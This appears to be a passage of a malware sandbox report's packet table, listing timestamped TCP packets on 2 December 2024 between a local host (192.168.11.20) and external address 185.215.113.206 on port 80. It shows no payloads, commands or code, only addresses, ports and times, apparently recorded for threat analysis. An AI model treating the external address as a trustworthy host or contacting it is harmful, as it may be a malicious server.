Dec 2, 2024 11:20:09.413141012 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.413149118 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.413240910 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.413387060 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.413403988 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.413443089 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.413521051 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.413646936 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.413665056 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.413779974 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.413794041 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.413927078 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.414028883 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.414213896 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.414361000 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.414392948 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.414511919 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.414551973 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.414566994 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.414693117 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.414783001 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.414786100 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.414786100 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.414911985 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.414921045 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.414979935 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.415028095 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.415122986 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.415139914 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.415261030 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.415302992 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.415332079 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.415404081 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.415406942 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.415462017 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.415471077 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.415577888 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.415673018 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.415680885 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.415740967 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.415781975 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.415796995 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.415875912 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.415926933 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.415967941 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.416012049 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.416068077 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.416110992 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.416136026 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.416162968 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.416239023 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.416299105 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.416316032 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.416416883 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.416424990 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.416487932 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.416512012 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.416553020 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.416645050 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.416709900 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.416810989 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.416901112 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.416918039 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.416960001 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.417098999 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.417138100 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.417193890 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.417263985 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.417382956 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.417387962 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.417490005 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.417581081 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.721359968 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.721553087 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.721668959 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.721672058 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.721791029 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.721803904 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.721815109 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.721862078 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.721951008 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.722006083 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.722027063 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.722073078 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.722141981 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.722213030 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.722259998 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.722353935 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.730719090 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.730920076 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.730951071 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.731143951 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.731184959 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.731198072 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.731425047 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.731437922 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.731446028 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.731626987 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.731662989 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.731775045 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.731791019 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.731965065 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.732023001 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.732249022 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.732263088 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.732404947 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.732630968 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.732773066 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.732815027 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.732992887 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.733027935 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.733068943 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.733268023 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.733275890 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.733381033 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.733557940 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.733797073 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.733798027 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.733980894 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.734055042 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.734307051 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.734333038 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.734345913 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.734462023 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.734532118 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.734667063 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.734719992 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.734785080 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.735027075 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.735040903 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.735089064 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.735275030 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.735313892 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.735498905 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.735502005 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.735558033 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.735657930 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.735774040 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.735831976 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.735843897 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.736021996 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.736022949 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.736046076 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.736108065 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.736166954 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.736284018 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.736334085 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.736452103 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.736460924 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.736462116 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.736577988 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.736588001 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.736619949 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.736721039 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.736773968 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.736809015 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.736829042 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.736928940 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.736937046 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.737018108 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.737051964 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.737108946 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.737157106 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.737211943 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.737272978 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.737293005 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.737329960 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.737344027 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.737426043 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.737500906 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.737555027 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.737565994 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.737648010 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.737771034 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.737899065 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.737941980 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.738059044 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.738061905 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.738168955 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.738183022 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.738276958 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.738385916 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.738399029 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.738523006 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.738575935 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.738615990 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.738653898 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.738748074 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.738801003 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.738928080 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.738938093 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.739027977 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.739099979 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.739152908 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.739207983 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.739253044 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.739279032 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.739363909 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.739401102 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.739438057 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.739458084 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.739568949 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.739633083 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.739650965 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.739753008 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.739774942 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.739866972 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.739902973 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.739933014 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.739953995 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.740067959 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.740087986 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.740147114 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.740207911 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.740252972 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.740319014 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.740329981 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.740334988 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.740516901 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.740525007 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.740578890 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.740648031 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.740672112 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.740777016 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.740849018 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.740900040 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.740905046 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.740952015 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.741023064 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.741067886 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.741177082 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.741204977 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.741272926 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.741321087 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.741352081 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.741440058 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.741450071 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.741527081 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.741544962 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.741650105 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.741660118 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.741724968 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.741764069 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.741833925 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.741951942 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.741961956 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.741972923 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.742023945 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.742078066 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.742193937 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.742247105 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.742307901 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.742317915 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.742399931 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.742520094 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.742525101 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.742579937 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.742635012 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.742722988 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.742774963 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.742806911 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.742829084 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.742938995 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.742942095 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.743002892 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.743056059 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.743128061 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.743149996 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.743278027 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.743298054 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.743335962 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.743345976 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.743444920 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.743493080 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.743560076 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.743570089 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.743650913 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.743771076 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.743808031 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.743905067 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.743911982 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.744019032 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.744071007 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.744119883 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.744148970 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.744174004 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.744262934 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.744317055 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.744395971 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.744431019 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.744484901 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.744534969 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.744543076 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.744559050 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.744667053 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.744759083 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.744807959 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.744915009 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.744923115 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.745131016 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.745148897 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.745206118 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.745357037 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.745395899 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.745520115 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.745531082 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.745533943 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.745543957 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.745552063 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.745644093 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.745732069 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.745793104 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.745915890 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.745925903 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.746023893 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.746079922 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.746109962 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.746140957 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.746155024 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.746225119 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.746320963 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.746377945 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.746395111 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.746448994 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:09.746457100 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.746550083 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:09.746718884 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:10.043359041 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:10.043565035 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:10.043601036 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:10.043634892 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:10.043731928 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:10.043790102 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:10.043826103 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:10.043838978 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:10.043865919 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:10.043968916 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:10.043982983 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:10.044011116 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:10.044069052 CET	49718	80	192.168.11.20	185.215.113.206
